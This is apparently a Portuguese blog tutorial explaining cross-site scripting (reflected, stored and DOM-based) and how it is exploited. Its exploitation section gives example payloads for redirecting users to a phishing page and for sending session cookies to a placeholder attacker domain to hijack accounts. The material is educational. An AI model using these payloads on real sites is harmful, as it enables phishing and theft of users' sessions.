O que é Cross-site scripting (XSS)
27
0

O que é Cross-site scripting (XSS)

XSS (cross-site scripting) é uma vulnerabilidade web que permite o atacante executar scripts maliciosos dentro de sites confiáveis. Geralmente, esta vulnerabilidade ocorre em qualquer meio de entrada de dados disponibilizada para o usuário fi...

Roberto Francisco
3 min
27
0
<br>

O que é Cross-site scripting (XSS) ?

XSS (cross-site scripting) é uma vulnerabilidade web que permite o atacante executar scripts maliciosos dentro de sites confiáveis. Geralmente, esta vulnerabilidade ocorre em qualquer meio de entrada de dados disponibilizada para o usuário final que não sofre o tratamento adequado ou não está protegido por um WAF(Web Application Firewall).

Existem 3 tipos mais comuns de XSS, são eles: Reflected XSS, Stored XSS, DOM Based XSS.

Reflected XSS

Este tipo de ataque ocorre por meio de um parâmetro na aplicação que é enviado para back-end e refletido diretamente no código fonte da página WEB. Por exemplo:

https://www.exemplo.org/?xss=reflected

No exemplo acima a aplicação contém um parâmetro chamado xss que está refletindo o nome reflected no código fonte da página. Um payload comum utilizado para testar a possibilidade da aplicação está vulnerável a xss é <script>alert(0)</script>.

https://www.exemplo.org/?xss=<script>alert(0)</script>

Caso a aplicação esteja vulnerável, uma janela de alerta aparecerá na tela contendo um 0.

Stored XSS

No Stored XSS ou XSS persistente a payload fica armazenada dentro da aplicação, e qualquer usuário legitimo que visitar a página WEB infectada executará o payload em seu browser.

Por exemplo: a sessão de comentários de uma postagem em uma rede social, o Atacante poderia injetar um payload como a que foi utilizado na parte de reflected XSS <script>alert(0)</script>.

Caso a aplicação esteja vulnerável Todos os usuários que acessarem a respectiva postagem receberá uma Janela de alerta no browser e o payload ficará armazenado no comentário até a remoção dele por parte do atacante (se possível) ou do administrador.

DOM based XSS

O DOM based XSS é similar ao Reflected XSS, porém com uma diferença, O responsável por refletir o payload injetado no documento da página é o front-end, diferentemente do Reflected XSS que o responsável é o back-end.

Formas de Exploração           

Redirecionando o usuário

Com o XSS é possível redirecionar o usuário para um domínio de controle do atacante, sem que o usuário perceba que saiu do domínio oficial da empresa. Exemplo de payload: <script>window.location.href='https://www.dominio.com.br/login.php' </script>

Esta forma de exploração pode ser utilizada para redirecionar o usuário para uma página phishing que o induz a inserir as próprias credencias. Também pode ser combinada com outras vulnerabilidades, como por exemplo: Cross-site request forgery (CSRF).

Sequestro de sessão

Com o XSS também é possível sequestrar a sessão de um usuário através do cookie de sessão armazenado no navegador. Exemplo de payload: <script>document.location='https://www.dominio.com.br/?cookie='+document.cookie</script>

Esta forma de exploração redireciona o usuário para um domínio de controle do atacante, no entanto a parte principal do ataque está na parte /?cookie=’+document.cookie, esta parte envia para o servidor do atacante todos os cookies armazenados no navegador do usuário. De posse do cookie o atacante altera o valor do cookie dele pelo do usuário, recarrega a pagina e pronto, o atacante está autenticado na conta do usuário.

Conclusão

XSS é uma falha perigosa para os usuários, por que torna-se possível roubar cookies de sessão de usuário, redirecionar o usuário para uma página maliciosa e várias outras ações que vai da criatividade do atacante.

O Stored XSS é o mais perigoso dentre os três tipos citados, pois não necessita de interação com o usuário, já que o usuário ao entrar na pagina infectada executará automaticamente o script armazenado. Já no caso do DOM based XSS e o Reflected XSS necessita-se que o usuário seja persuadido a entrar na URL enviada pelo atacante.